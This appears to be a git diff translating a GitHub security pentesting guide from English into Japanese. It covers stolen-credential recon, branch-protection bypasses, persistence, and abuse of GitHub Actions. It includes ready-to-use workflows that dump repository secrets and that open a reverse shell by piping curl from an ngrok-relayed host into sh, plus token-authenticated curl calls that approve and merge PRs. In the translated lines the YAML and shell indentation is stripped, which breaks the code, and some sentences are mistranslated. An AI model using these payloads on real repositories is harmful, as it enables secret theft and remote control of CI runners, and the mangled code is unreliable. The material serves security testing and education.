+- **統合アクセス要求**: これを有効にすると、外部のコラボレーターがこの組織とそのリソースにアクセスするためのGitHubまたはOAuthアプリへのアクセスを要求できるようになります。通常は必要ですが、必要でない場合は無効にする方が良いです。
+- _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_
+- **リポジトリの可視性の変更**: 有効にすると、**リポジトリ**に対して**管理者**権限を持つ**メンバー**が**可視性を変更できる**ようになります。無効にすると、組織のオーナーのみがリポジトリの可視性を変更できます。人々に**公開**にすることを望まない場合は、これを**無効**にしてください。
+- _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_
+- **リポジトリの削除と転送**: 有効にすると、リポジトリに対して**管理者**権限を持つメンバーが**公開および非公開のリポジトリを削除**または**転送**できるようになります。
+- _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_
+- **メンバーがチームを作成することを許可**: 有効にすると、組織の**メンバー**は新しい**チームを作成**できるようになります。無効にすると、組織のオーナーのみが新しいチームを作成できます。これを無効にしておく方が良いです。
+- _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_
+- **このページで他の設定も可能ですが、前述のものが最もセキュリティに関連しています。**
### Actions Settings
-Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`.
+アクションに関するいくつかのセキュリティ関連の設定は、ページ`https://github.com/organizations//settings/actions`から設定できます。
> [!NOTE]
-> Note that all this configurations can also be set on each repository independently
+> これらの設定は、各リポジトリでも独立して設定できることに注意してください。
-- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
- - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
-- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
- - _I couldn't find an API with this info, share if you do_
-- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
- - _I couldn't find an API with this info, share if you do_
-- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
- - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
+- **Githubアクションポリシー**: どのリポジトリがワークフローを実行でき、どのワークフローが許可されるべきかを指定できます。**許可されるリポジトリを指定する**ことを推奨し、すべてのアクションが実行されることを許可しない方が良いです。
+- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
+- **外部コラボレーターからのフォークプルリクエストワークフロー**: すべての外部コラボレーターに対して**承認を要求する**ことを推奨します。
+- _この情報を持つAPIは見つかりませんでした。知っている場合は共有してください。_
+- **フォークプルリクエストからのワークフローの実行**: プルリクエストからのワークフローを実行することは非常に**推奨されません**。フォーク元のメンテナーにソースリポジトリの読み取り権限を持つトークンを使用する能力が与えられるためです。
+- _この情報を持つAPIは見つかりませんでした。知っている場合は共有してください。_
+- **ワークフローの権限**: **リポジトリの読み取り権限のみを付与する**ことを強く推奨します。GITHUB_TOKENが実行中のワークフローに与えられることを避けるために、書き込みおよびプルリクエストの作成/承認権限を与えることは推奨されません。
+- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrations
-_Let me know if you know the API endpoint to access this info!_
+_この情報にアクセスするためのAPIエンドポイントを知っている場合は教えてください!_
-- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
-- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
+- **サードパーティアプリケーションアクセスポリシー**: すべてのアプリケーションへのアクセスを制限し、必要なもののみを許可することを推奨します(レビュー後)。
+- **インストールされたGitHubアプリ**: 必要なもののみを許可することを推奨します(レビュー後)。
## Recon & Attacks abusing credentials
-For this scenario we are going to suppose that you have obtained some access to a github account.
+このシナリオでは、githubアカウントへのアクセスを取得したと仮定します。
### With User Credentials
-If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
+もし何らかの方法で組織内のユーザーの資格情報を持っている場合、**ログインして**どの**エンタープライズおよび組織の役割を持っているか**を確認できます。生のメンバーであれば、**生のメンバーが持つ権限**、どの**グループ**に属しているか、どの**リポジトリに対してどの権限を持っているか**、および**リポジトリがどのように保護されているか**を確認できます。
-Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
+**2FAが使用されている可能性がある**ことに注意してください。したがって、そのチェックを**通過できる**場合にのみ、この情報にアクセスできます。
> [!NOTE]
-> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
+> `user_session`クッキーを**盗むことに成功した場合**(現在SameSite: Laxで設定されています)、資格情報や2FAを必要とせずに**ユーザーを完全に偽装**できます。
-Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful.
+役立つ場合に備えて、[**ブランチ保護のバイパス**](./#branch-protection-bypass)に関するセクションを確認してください。
### With User SSH Key
-Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
-
-With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
+Githubは、**ユーザー**が**SSHキー**を設定することを許可しており、これが**コードをデプロイするための認証方法**として使用されます(2FAは適用されません)。
+このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、github APIにアクセスして環境を列挙するために使用することはできません。ただし、アクセスできるリポジトリやユーザーに関する情報を取得するために、**ローカル設定を列挙する**ことができます。
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
+ユーザーが自分のGitHubユーザー名としてユーザー名を設定している場合、_https://github.com/\.keys_ で彼のアカウントに設定された **公開鍵** にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。
-If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used.
+**SSH鍵** はリポジトリに **デプロイ鍵** としても設定できます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動する** ことができます。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル **`~/.ssh/config`** が関連する鍵に関する情報を提供します。
-**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
+#### GPG鍵
-#### GPG Keys
-
-As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
-
-Check locally if the current user has any key with:
+[**こちら**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) で説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。
+現在のユーザーが鍵を持っているかどうかをローカルで確認してください:
```shell
gpg --list-secret-keys --keyid-format=long
```
+### ユーザートークンを使用して
-### With User Token
+[**ユーザートークンについての基本情報を確認する**](basic-github-information.md#personal-access-tokens)の紹介。
-For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
+ユーザートークンは、HTTPS経由のGitの**パスワードの代わり**に使用できるか、[**基本認証を介してAPIに認証するために使用できます**](https://docs.github.com/v3/auth/#basic-authentication)。付与された権限に応じて、さまざまなアクションを実行できる場合があります。
-A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
+ユーザートークンは次のようになります: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
-A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
+### Oauthアプリケーションを使用して
-### With Oauth Application
+[**Github Oauthアプリケーションについての基本情報を確認する**](basic-github-information.md#oauth-applications)の紹介。
-For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
+攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データ/アクションにアクセスすることがあります。
-An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+これらは、Oauthアプリケーションが要求できる[スコープ](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)です。受け入れる前に、要求されたスコープを常に確認する必要があります。
-These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
+さらに、基本情報で説明されているように、**組織はサードパーティアプリケーションに対して情報/リポジトリ/アクションへのアクセスを与えたり拒否したりできます**。
-Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
+### Githubアプリケーションを使用して
-### With Github Application
+[**Githubアプリケーションについての基本情報を確認する**](basic-github-information.md#github-applications)の紹介。
-For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
+攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるGithubアプリケーション**を作成して、特権データ/アクションにアクセスすることがあります。
-An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+さらに、基本情報で説明されているように、**組織はサードパーティアプリケーションに対して情報/リポジトリ/アクションへのアクセスを与えたり拒否したりできます**。
-Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
+## Github Actionの妥協と悪用
-## Compromise & Abuse Github Action
-
-There are several techniques to compromise and abuse a Github Action, check them here:
+Github Actionを妥協し悪用するためのいくつかの技術があります。ここで確認してください:
{{#ref}}
abusing-github-actions/
{{#endref}}
-## Branch Protection Bypass
+## ブランチ保護のバイパス
-- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
- - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
-- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
-- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
- - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
-- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
-- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
-- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
-- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
-- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
- - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
+- **承認の数を要求する**: 複数のアカウントを妥協した場合、他のアカウントからPRを受け入れることができます。PRを作成したアカウントしか持っていない場合、自分のPRを承認することはできません。しかし、リポジトリ内の**Github Action**環境にアクセスできる場合、**GITHUB_TOKEN**を使用して**PRを承認**し、この方法で1つの承認を得ることができるかもしれません。
+- _この点とCode Owners制限についての注意: 通常、ユーザーは自分のPRを承認できませんが、もしできる場合は、それを悪用して自分のPRを受け入れることができます。_
+- **新しいコミットがプッシュされたときに承認を取り消す**: これが設定されていない場合、正当なコードを提出し、誰かが承認するのを待ってから、悪意のあるコードを追加して保護されたブランチにマージすることができます。
+- **Code Ownersからのレビューを要求する**: これが有効になっていて、あなたがCode Ownerであれば、**Github ActionがあなたのPRを作成し、あなた自身で承認することができます**。
+- **CODEOWNERファイルが誤って設定されている場合**、Githubは文句を言いませんが、それを使用しません。したがって、誤って設定されている場合は、**Code Ownersの保護が適用されません。**
+- **指定されたアクターがプルリクエストの要件をバイパスできるようにする**: あなたがこれらのアクターの1人であれば、プルリクエストの保護をバイパスできます。
+- **管理者を含める**: これが設定されていない場合、リポジトリの管理者であれば、このブランチの保護をバイパスできます。
+- **PRハイジャック**: 他の誰かのPRを**変更して悪意のあるコードを追加し、結果として得られたPRを自分で承認し、すべてをマージすることができるかもしれません。**
+- **ブランチ保護の削除**: あなたが**リポジトリの管理者であれば、保護を無効にし、PRをマージして、再度保護を設定できます。**
+- **プッシュ保護のバイパス**: リポジトリが**特定のユーザーのみ**がブランチにプッシュ(コードをマージ)できるようにしている場合(ブランチ保護がすべてのブランチを保護している可能性がありますが、ワイルドカード`*`を指定しています)。
+- **リポジトリに対する書き込みアクセスがあるが、ブランチ保護のためにコードをプッシュできない場合**、新しいブランチを**作成し、その中でコードがプッシュされたときにトリガーされる**Github Actionを作成することができます。**ブランチ保護はブランチが作成されるまで保護しないため**、この最初のコードプッシュは**Github Actionを実行します**。
-## Bypass Environments Protections
+## 環境保護のバイパス
-For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
+[**Github環境についての基本情報を確認する**](basic-github-information.md#git-environments)の紹介。
-In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
-
-Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
+環境が**すべてのブランチからアクセス可能な場合**、それは**保護されていない**ため、環境内の秘密に簡単にアクセスできます。**すべてのブランチが保護されている**リポジトリ(名前を指定するか、`*`を使用することによって)を見つけることがあることに注意してください。その場合、**コードをプッシュできるブランチを見つけ**、新しいGithub Actionを作成することで秘密を**抽出**できます(または1つを修正することができます)。
+すべてのブランチが**保護されている**(ワイルドカード`*`を介して)場合、**誰がブランチにコードをプッシュできるかが指定されており**、**あなたのユーザーは許可されていない**というエッジケースがあることに注意してください。それでもカスタムGithub Actionを実行できます。なぜなら、ブランチを作成し、その上でプッシュトリガーを使用できるからです。**ブランチ保護は新しいブランチへのプッシュを許可するため、Github Actionがトリガーされます**。
```yaml
push: # Run it when a push is made to a branch
- branches:
- - current_branch_name #Use '**' to run when a push is made to any branch
+branches:
+- current_branch_name #Use '**' to run when a push is made to any branch
```
+注意してください。**ブランチの作成後**、**ブランチ保護が新しいブランチに適用され**、変更することはできませんが、その時点で既に秘密をダンプしているでしょう。
-Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
+## 永続性
-## Persistence
+- **ユーザートークン**を生成
+- **シークレット**から**githubトークン**を盗む
+- ワークフローの**結果**と**ブランチ**の**削除**
+- **組織全体に対してより多くの権限を付与**
+- 情報を外部に流出させるための**ウェブフック**を作成
+- **外部コラボレーター**を招待
+- **SIEM**によって使用される**ウェブフック**を**削除**
+- **バックドア**を持つ**Github Action**を作成/変更
+- **シークレット**値の変更を通じて**コマンドインジェクション**に脆弱な**Github Action**を見つける
-- Generate **user token**
-- Steal **github tokens** from **secrets**
- - **Deletion** of workflow **results** and **branches**
-- Give **more permissions to all the org**
-- Create **webhooks** to exfiltrate information
-- Invite **outside collaborators**
-- **Remove** **webhooks** used by the **SIEM**
-- Create/modify **Github Action** with a **backdoor**
-- Find **vulnerable Github Action to command injection** via **secret** value modification
+### 偽のコミット - リポジトリのコミットを通じたバックドア
-### Imposter Commits - Backdoor via repo commits
-
-In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
-
-Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
+Githubでは、**フォークからリポジトリにPRを作成**することが可能です。PRが**受け入れられなくても**、元のリポジトリ内にフォーク版のコードのための**コミット**IDが作成されます。したがって、攻撃者は**リポジトリの所有者によって作成されていない、見た目上正当なリポジトリから特定のコミットを使用するようにピン留めすることができる**かもしれません。
+[**これのように**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
- commit:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- - shell: bash
- run: |
- echo 'hello world!'
+commit:
+runs-on: ubuntu-latest
+steps:
+- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
+- shell: bash
+run: |
+echo 'hello world!'
```
-
-For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
+詳細については、[https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)を確認してください。
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index c5ce0467b..bb4e5e511 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -2,391 +2,373 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本情報
-In this page you will find:
+このページでは以下の内容を見つけることができます:
-- A **summary of all the impacts** of an attacker managing to access a Github Action
-- Different ways to **get access to an action**:
- - Having **permissions** to create the action
- - Abusing **pull request** related triggers
- - Abusing **other external access** techniques
- - **Pivoting** from an already compromised repo
-- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
+- 攻撃者がGithub Actionにアクセスできた場合の**影響の概要**
+- **アクションにアクセスするための異なる方法**:
+- アクションを作成するための**権限**
+- **プルリクエスト**関連のトリガーを悪用する
+- **他の外部アクセス**技術を悪用する
+- すでに侵害されたリポジトリからの**ピボット**
+- 最後に、内部からアクションを悪用するための**ポストエクスプロイト技術**に関するセクション(前述の影響を引き起こす)
-## Impacts Summary
+## 影響の概要
-For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
+[**Github Actionsの基本情報を確認する**](../basic-github-information.md#github-actions)についての紹介。
-If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
+**リポジトリ内でGitHub Actionsで任意のコードを実行できる**場合、次のことができるかもしれません:
-- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
-- **Compromise deployments** and other **artifacts**.
- - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
-- **Execute code in custom workers** to abuse computing power and pivot to other systems.
-- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
+- パイプラインにマウントされた**シークレットを盗む**ことができ、**パイプラインの権限を悪用**して、AWSやGCPなどの外部プラットフォームに不正アクセスする。
+- **デプロイメント**や他の**アーティファクトを侵害する**。
+- パイプラインが資産をデプロイまたは保存する場合、最終製品を変更し、サプライチェーン攻撃を可能にする。
+- **カスタムワーカーでコードを実行**して、計算能力を悪用し、他のシステムにピボットする。
+- `GITHUB_TOKEN`に関連付けられた権限に応じて、**リポジトリコードを上書きする**。
## GITHUB_TOKEN
-This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
+この「**シークレット**」(`${{ secrets.GITHUB_TOKEN }}`および`${{ github.token }}`から来る)は、管理者がこのオプションを有効にしたときに与えられます:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+このトークンは**Githubアプリケーションが使用するものと同じ**で、同じエンドポイントにアクセスできます:[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
-> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
+> Githubは、リポジトリが`GITHUB_TOKEN`を使用して他の内部リポジトリにアクセスできるようにする[**フロー**](https://github.com/github/roadmap/issues/74)をリリースするべきです。
-You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+このトークンの可能な**権限**は次のリンクで確認できます:[https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
-Note that the token **expires after the job has completed**.\
-These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+トークンは**ジョブが完了した後に期限切れ**になります。\
+これらのトークンは次のようになります:`ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
-Some interesting things you can do with this token:
+このトークンでできる興味深いこと:
{{#tabs }}
{{#tab name="Merge PR" }}
-
```bash
# Merge PR
curl -X PUT \
- https://api.github.com/repos///pulls//merge \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header "content-type: application/json" \
- -d "{\"commit_title\":\"commit_title\"}"
+https://api.github.com/repos///pulls//merge \
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header "content-type: application/json" \
+-d "{\"commit_title\":\"commit_title\"}"
```
-
{{#endtab }}
-{{#tab name="Approve PR" }}
-
+{{#tab name="PRを承認する" }}
```bash
# Approve a PR
curl -X POST \
- https://api.github.com/repos///pulls//reviews \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header 'content-type: application/json' \
- -d '{"event":"APPROVE"}'
+https://api.github.com/repos///pulls//reviews \
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header 'content-type: application/json' \
+-d '{"event":"APPROVE"}'
```
-
{{#endtab }}
-{{#tab name="Create PR" }}
-
+{{#tab name="PRを作成" }}
```bash
# Create a PR
curl -X POST \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header 'content-type: application/json' \
- https://api.github.com/repos///pulls \
- -d '{"head":"","base":"master", "title":"title"}'
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header 'content-type: application/json' \
+https://api.github.com/repos///pulls \
+-d '{"head":"","base":"master", "title":"title"}'
```
-
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
-> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
+> 注意してください。いくつかの場面で、**Github Actionsのenvsやsecretsの中にgithubユーザートークンを見つけることができる**でしょう。これらのトークンは、リポジトリや組織に対してより多くの権限を与える可能性があります。
-List secrets in Github Action output
-
+Github Action出力のシークレットのリスト
```yaml
name: list_env
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- List_env:
- runs-on: ubuntu-latest
- steps:
- - name: List Env
- # Need to base64 encode or github will change the secret value for "***"
- run: sh -c 'env | grep "secret_" | base64 -w0'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+List_env:
+runs-on: ubuntu-latest
+steps:
+- name: List Env
+# Need to base64 encode or github will change the secret value for "***"
+run: sh -c 'env | grep "secret_" | base64 -w0'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-Get reverse shell with secrets
-
+シークレットを使ってリバースシェルを取得
```yaml
name: revshell
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- create_pull_request:
- runs-on: ubuntu-latest
- steps:
- - name: Get Rev Shell
- run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+create_pull_request:
+runs-on: ubuntu-latest
+steps:
+- name: Get Rev Shell
+run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
+他のユーザーのリポジトリでGithubトークンに与えられた権限を**アクションのログを確認することで**チェックすることが可能です:
-## Allowed Execution
+## 許可された実行
> [!NOTE]
-> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
+> これはGithubアクションを危険にさらす最も簡単な方法です。このケースでは、**組織内に新しいリポジトリを作成するアクセス権**があるか、**リポジトリに対する書き込み権限**があることを前提としています。
>
-> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
+> このシナリオにいる場合は、[ポストエクスプロイテーション技術](./#post-exploitation-techniques-from-inside-an-action)を確認するだけです。
-### Execution from Repo Creation
+### リポジトリ作成からの実行
-In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
+組織のメンバーが**新しいリポジトリを作成でき**、あなたがGithubアクションを実行できる場合、**新しいリポジトリを作成し、組織レベルで設定されたシークレットを盗む**ことができます。
-### Execution from a New Branch
+### 新しいブランチからの実行
-If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
-
-You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
+既にGithubアクションが設定されているリポジトリで**新しいブランチを作成できる**場合、**それを修正し、**コンテンツを**アップロードし、**その新しいブランチからそのアクションを**実行する**ことができます。この方法で、**リポジトリおよび組織レベルのシークレットを外部に持ち出す**ことができます(ただし、それらがどのように呼ばれているかを知っている必要があります)。
+修正されたアクションを**手動で**実行可能にすることができます。**PRが作成されたとき**や**コードがプッシュされたとき**(どれだけ目立ちたいかによります):
```yaml
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - master
- push: # Run it when a push is made to a branch
- branches:
- - current_branch_name
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- master
+push: # Run it when a push is made to a branch
+branches:
+- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
-
---
-## Forked Execution
+## フォークされた実行
> [!NOTE]
-> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
+> 攻撃者が**他のリポジトリのGithub Actionを実行する**ことを可能にする異なるトリガーがあります。これらのトリガー可能なアクションが不適切に構成されている場合、攻撃者はそれらを妥協させることができるかもしれません。
### `pull_request`
-The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
+ワークフロートリガー**`pull_request`**は、プルリクエストが受信されるたびにワークフローを実行しますが、いくつかの例外があります:デフォルトでは、**初めて**コラボレーションする場合、いくつかの**メンテイナー**がワークフローの**実行**を**承認**する必要があります。
> [!NOTE]
-> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
+> **デフォルトの制限**は**初めての**貢献者に対してのものであるため、**有効なバグ/タイプミスを修正する**ことで貢献し、その後**新しい`pull_request`権限を悪用するために他のPRを送信する**ことができます。
>
-> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
+> **これをテストしましたが、うまくいきませんでした**:~~別のオプションは、プロジェクトに貢献した誰かの名前でアカウントを作成し、そのアカウントを削除することです。~~
